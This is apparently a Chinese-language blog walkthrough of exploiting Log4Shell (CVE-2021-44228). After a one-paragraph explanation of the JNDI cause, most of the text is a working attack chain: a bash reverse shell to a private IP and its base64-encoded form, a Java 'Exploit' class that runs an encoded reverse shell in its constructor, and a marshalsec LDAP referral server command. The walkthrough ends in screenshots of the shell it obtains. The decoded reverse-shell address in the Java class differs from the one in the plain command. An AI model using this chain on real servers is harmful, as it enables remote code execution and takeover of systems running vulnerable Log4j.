文章

CVE-2021-44228

题解思路

成因

该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。这里面有一个关键点就是,什么是JNDI,为什么JNDI可以造成RCE

编写恶意代码

反弹shell

1
    bash -i >& /dev/tcp/192.168.31.241/44443 0>&1

进行base64编码

alt text

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0MS80NDQ0MyAwPiYx}|{base64,-d}|{bash,-i}

编写恶意类为了在LDAP服务中进行使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
    public Exploit() {
        try {
            Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

编译

1
`javac .\Exploit.java` ### 开启服务转发 ![alt text](../assets/img/image-90.png)

实际应用过程中需要使用公网来反弹,或者端口映射

搭建服务器1389为LDAP服务的端口

现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口

Repo

git clone https://github.com/mbechler/marshalsec.git

开启服务

alt text

alt text

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.31.241:8080/#Exploit" 1389

alt text

发送请求

alt text

获取shell

alt text

本文由作者按照 CC BY 4.0 进行授权